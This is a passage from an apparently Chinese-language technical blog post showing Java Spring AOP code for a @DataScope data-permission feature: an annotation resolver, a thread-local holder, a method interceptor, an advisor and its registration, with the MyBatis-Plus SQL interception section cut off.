class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> method       方法</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> targetObject 目标对象</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> ds</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> DataScopeParam <span class="title function_">computeDatasource</span><span class="params">(Method method, Object targetObject)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (!Modifier.isPublic(method.getModifiers())) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//1. 从当前方法接口中获取</span></span><br><span class="line">        <span class="type">DataScopeParam</span> <span class="variable">dsAttr</span> <span class="operator">=</span> findDataSourceAttribute(method);</span><br><span class="line">        <span class="keyword">if</span> (dsAttr != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> dsAttr;</span><br><span class="line">        &#125;</span><br><span class="line">        Class&lt;?&gt; targetClass = targetObject.getClass();</span><br><span class="line">        Class&lt;?&gt; userClass = ClassUtils.getUserClass(targetClass);</span><br><span class="line">        <span class="comment">// JDK代理时,  获取实现类的方法声明.  method: 接口的方法, specificMethod: 实现类方法</span></span><br><span class="line">        <span class="type">Method</span> <span class="variable">specificMethod</span> <span class="operator">=</span> ClassUtils.getMostSpecificMethod(method, userClass);</span><br><span class="line"></span><br><span class="line">        specificMethod = BridgeMethodResolver.findBridgedMethod(specificMethod);</span><br><span class="line">        <span class="comment">//2. 从桥接方法查找</span></span><br><span class="line">        dsAttr = findDataSourceAttribute(specificMethod);</span><br><span class="line">        <span class="keyword">if</span> (dsAttr != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> dsAttr;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 从当前方法声明的类查找</span></span><br><span class="line">        dsAttr = findDataSourceAttribute(userClass);</span><br><span class="line">        <span class="keyword">if</span> (dsAttr != <span class="literal">null</span> &amp;&amp; ClassUtils.isUserLevelMethod(method)) &#123;</span><br><span class="line">            <span class="keyword">return</span> dsAttr;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//since 3.4.1 从接口查找，只取第一个找到的</span></span><br><span class="line">        <span class="keyword">for</span> (Class&lt;?&gt; interfaceClazz : ClassUtils.getAllInterfacesForClassAsSet(userClass)) &#123;</span><br><span class="line">            dsAttr = findDataSourceAttribute(interfaceClazz);</span><br><span class="line">            <span class="keyword">if</span> (dsAttr != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> dsAttr;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 如果存在桥接方法</span></span><br><span class="line">        <span class="keyword">if</span> (specificMethod != method) &#123;</span><br><span class="line">            <span class="comment">// 从桥接方法查找</span></span><br><span class="line">            dsAttr = findDataSourceAttribute(method);</span><br><span class="line">            <span class="keyword">if</span> (dsAttr != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> dsAttr;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="comment">// 从桥接方法声明的类查找</span></span><br><span class="line">            dsAttr = findDataSourceAttribute(method.getDeclaringClass());</span><br><span class="line">            <span class="keyword">if</span> (dsAttr != <span class="literal">null</span> &amp;&amp; ClassUtils.isUserLevelMethod(method)) &#123;</span><br><span class="line">                <span class="keyword">return</span> dsAttr;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> getDefaultDataSourceAttr(targetObject);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 默认的获取</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> targetObject 目标对象</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> DataScopeParam</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> DataScopeParam <span class="title function_">getDefaultDataSourceAttr</span><span class="params">(Object targetObject)</span> &#123;</span><br><span class="line">        Class&lt;?&gt; targetClass = targetObject.getClass();</span><br><span class="line">        <span class="comment">// 如果不是代理类, 从当前类开始, 不断的找父类的声明</span></span><br><span class="line">        <span class="keyword">if</span> (!Proxy.isProxyClass(targetClass)) &#123;</span><br><span class="line">            Class&lt;?&gt; currentClass = targetClass;</span><br><span class="line">            <span class="keyword">while</span> (currentClass != Object.class) &#123;</span><br><span class="line">                <span class="type">DataScopeParam</span> <span class="variable">datasourceAttr</span> <span class="operator">=</span> findDataSourceAttribute(currentClass);</span><br><span class="line">                <span class="keyword">if</span> (datasourceAttr != <span class="literal">null</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> datasourceAttr;</span><br><span class="line">                &#125;</span><br><span class="line">                currentClass = currentClass.getSuperclass();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 通过 AnnotatedElement 查找标记的注解, 映射为  DatasourceHolder</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> ae AnnotatedElement</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 数据源映射持有者</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> DataScopeParam <span class="title function_">findDataSourceAttribute</span><span class="params">(AnnotatedElement ae)</span> &#123;</span><br><span class="line">        <span class="type">AnnotationAttributes</span> <span class="variable">attributes</span> <span class="operator">=</span> AnnotatedElementUtils.getMergedAnnotationAttributes(ae, DataScope.class);</span><br><span class="line">        <span class="type">DataScopeParam</span> <span class="variable">dsp</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">if</span> (attributes != <span class="literal">null</span>) &#123;</span><br><span class="line">            dsp = <span class="keyword">new</span> <span class="title class_">DataScopeParam</span>(attributes.getString(<span class="string">&quot;unitField&quot;</span>), <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;(), attributes.getBoolean(<span class="string">&quot;filterData&quot;</span>), Convert.toList(String.class, attributes.get(<span class="string">&quot;ignoreTables&quot;</span>)));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> dsp;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="跨线程传递权限对象">跨线程传递权限对象</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.ttl.TransmittableThreadLocal;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 UnitDataPermissionContentHolder</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/10/31 16:36</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">DataScopeParamContentHolder</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="title function_">DataScopeParamContentHolder</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> ThreadLocal&lt;DataScopeParam&gt; THREAD_PMS_HOLDER = <span class="keyword">new</span> <span class="title class_">TransmittableThreadLocal</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置当前header中的权限</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> dataScopeParam 需要过滤的权限</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">set</span><span class="params">(DataScopeParam dataScopeParam)</span> &#123;</span><br><span class="line">        THREAD_PMS_HOLDER.set(dataScopeParam);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取header中的权限</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 权限</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> DataScopeParam <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> THREAD_PMS_HOLDER.get();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">clear</span><span class="params">()</span> &#123;</span><br><span class="line">        THREAD_PMS_HOLDER.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="拦截请求，如果类或方法上有-DataScope注解则将注解内容储存至DataScopeParam并放到DataScopeParamContentHolder线程中">拦截请求，如果类或方法上有<code>@DataScope</code>注解则将注解内容储存至<code>DataScopeParam</code>并放到<code>DataScopeParamContentHolder</code>线程中</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.aopalliance.intercept.MethodInterceptor;</span><br><span class="line"><span class="keyword">import</span> org.aopalliance.intercept.MethodInvocation;</span><br><span class="line"><span class="keyword">import</span> org.jetbrains.annotations.NotNull;</span><br><span class="line"><span class="keyword">import</span> org.jetbrains.annotations.Nullable;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 PermissionIntercept</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> * 拦截请求方法，判断方法上或者类上是否存在注解</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/10/31 16:13</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataScopeAnnotationIntercept</span> <span class="keyword">implements</span> <span class="title class_">MethodInterceptor</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> DataScopeAnnotationClassResolver dataScopeAnnotationClassResolver;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">DataScopeAnnotationIntercept</span><span class="params">()</span> &#123;</span><br><span class="line">        dataScopeAnnotationClassResolver = <span class="keyword">new</span> <span class="title class_">DataScopeAnnotationClassResolver</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Nullable</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(<span class="meta">@NotNull</span> MethodInvocation methodInvocation)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="type">DataScopeParam</span> <span class="variable">paramKey</span> <span class="operator">=</span> dataScopeAnnotationClassResolver.findKey(methodInvocation.getMethod(), methodInvocation.getThis());</span><br><span class="line">        DataScopeParamContentHolder.set(paramKey);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> methodInvocation.proceed();</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            DataScopeParamContentHolder.clear();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="DataScope切面逻辑"><code>@DataScope</code>切面逻辑</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> lombok.NonNull;</span><br><span class="line"><span class="keyword">import</span> org.aopalliance.aop.Advice;</span><br><span class="line"><span class="keyword">import</span> org.aopalliance.intercept.MethodInterceptor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.aop.ClassFilter;</span><br><span class="line"><span class="keyword">import</span> org.springframework.aop.MethodMatcher;</span><br><span class="line"><span class="keyword">import</span> org.springframework.aop.Pointcut;</span><br><span class="line"><span class="keyword">import</span> org.springframework.aop.support.AbstractPointcutAdvisor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.aop.support.AopUtils;</span><br><span class="line"><span class="keyword">import</span> org.springframework.aop.support.ComposablePointcut;</span><br><span class="line"><span class="keyword">import</span> org.springframework.aop.support.StaticMethodMatcher;</span><br><span class="line"><span class="keyword">import</span> org.springframework.aop.support.annotation.AnnotationMatchingPointcut;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.BeansException;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.BeanFactory;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.BeanFactoryAware;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.annotation.AnnotatedElementUtils;</span><br><span class="line"><span class="keyword">import</span> org.springframework.util.Assert;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Annotation;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 DataScopeAnnotationAdvisor</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/10/31 16:49</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataScopeAnnotationAdvisor</span> <span class="keyword">extends</span> <span class="title class_">AbstractPointcutAdvisor</span> <span class="keyword">implements</span> <span class="title class_">BeanFactoryAware</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Advice advice;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Pointcut pointcut;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Class&lt;? <span class="keyword">extends</span> <span class="title class_">Annotation</span>&gt; annotation;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">DataScopeAnnotationAdvisor</span><span class="params">(<span class="meta">@NonNull</span> MethodInterceptor advice,</span></span><br><span class="line"><span class="params">                                      <span class="meta">@NonNull</span> Class&lt;? extends Annotation&gt; annotation)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.advice = advice;</span><br><span class="line">        <span class="built_in">this</span>.annotation = annotation;</span><br><span class="line">        <span class="built_in">this</span>.pointcut = buildPointcut();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Pointcut <span class="title function_">getPointcut</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.pointcut;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Advice <span class="title function_">getAdvice</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.advice;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setBeanFactory</span><span class="params">(BeanFactory beanFactory)</span> <span class="keyword">throws</span> BeansException &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.advice <span class="keyword">instanceof</span> BeanFactoryAware) &#123;</span><br><span class="line">            ((BeanFactoryAware) <span class="built_in">this</span>.advice).setBeanFactory(beanFactory);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> Pointcut <span class="title function_">buildPointcut</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">Pointcut</span> <span class="variable">cpc</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AnnotationMatchingPointcut</span>(annotation, <span class="literal">true</span>);</span><br><span class="line">        <span class="type">Pointcut</span> <span class="variable">mpc</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AnnotationMethodPoint</span>(annotation);</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ComposablePointcut</span>(cpc).union(mpc);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * In order to be compatible with the spring lower than 5.0</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">AnnotationMethodPoint</span> <span class="keyword">implements</span> <span class="title class_">Pointcut</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">private</span> <span class="keyword">final</span> Class&lt;? <span class="keyword">extends</span> <span class="title class_">Annotation</span>&gt; annotationType;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="title function_">AnnotationMethodPoint</span><span class="params">(Class&lt;? extends Annotation&gt; annotationType)</span> &#123;</span><br><span class="line">            Assert.notNull(annotationType, <span class="string">&quot;Annotation type must not be null&quot;</span>);</span><br><span class="line">            <span class="built_in">this</span>.annotationType = annotationType;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> ClassFilter <span class="title function_">getClassFilter</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> ClassFilter.TRUE;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> MethodMatcher <span class="title function_">getMethodMatcher</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">AnnotationMethodMatcher</span>(annotationType);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">AnnotationMethodMatcher</span> <span class="keyword">extends</span> <span class="title class_">StaticMethodMatcher</span> &#123;</span><br><span class="line">            <span class="keyword">private</span> <span class="keyword">final</span> Class&lt;? <span class="keyword">extends</span> <span class="title class_">Annotation</span>&gt; annotationType;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">public</span> <span class="title function_">AnnotationMethodMatcher</span><span class="params">(Class&lt;? extends Annotation&gt; annotationType)</span> &#123;</span><br><span class="line">                <span class="built_in">this</span>.annotationType = annotationType;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="meta">@Override</span></span><br><span class="line">            <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">matches</span><span class="params">(Method method, Class&lt;?&gt; targetClass)</span> &#123;</span><br><span class="line">                <span class="keyword">if</span> (matchesMethod(method)) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="comment">// Proxy classes never have annotations on their redeclared methods.</span></span><br><span class="line">                <span class="keyword">if</span> (Proxy.isProxyClass(targetClass)) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="comment">// The method may be on an interface, so let&#x27;s check on the target class as well.</span></span><br><span class="line">                <span class="type">Method</span> <span class="variable">specificMethod</span> <span class="operator">=</span> AopUtils.getMostSpecificMethod(method, targetClass);</span><br><span class="line">                <span class="keyword">return</span> (specificMethod != method &amp;&amp; matchesMethod(specificMethod));</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">private</span> <span class="type">boolean</span> <span class="title function_">matchesMethod</span><span class="params">(Method method)</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> AnnotatedElementUtils.hasAnnotation(method, <span class="built_in">this</span>.annotationType);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="切面逻辑注册">切面逻辑注册</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.lyc.common.base.annotation.DataScope;</span><br><span class="line"><span class="keyword">import</span> org.springframework.aop.Advisor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Bean;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Configuration;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.Ordered;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 PermissionInitConfig</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/10/31 16:46</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataScopeInitConfig</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> Advisor <span class="title function_">generateAllDataScopeAdvisor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">DataScopeAnnotationIntercept</span> <span class="variable">intercept</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DataScopeAnnotationIntercept</span>();</span><br><span class="line">        <span class="type">DataScopeAnnotationAdvisor</span> <span class="variable">advisor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DataScopeAnnotationAdvisor</span>(intercept, DataScope.class);</span><br><span class="line">        advisor.setOrder(Ordered.HIGHEST_PRECEDENCE);</span><br><span class="line">        <span class="keyword">return</span> advisor;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="最后就是mybatis-plus-sql增强实现权限拦截">最后就是mybatis plus sql增强实现权限拦截</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span 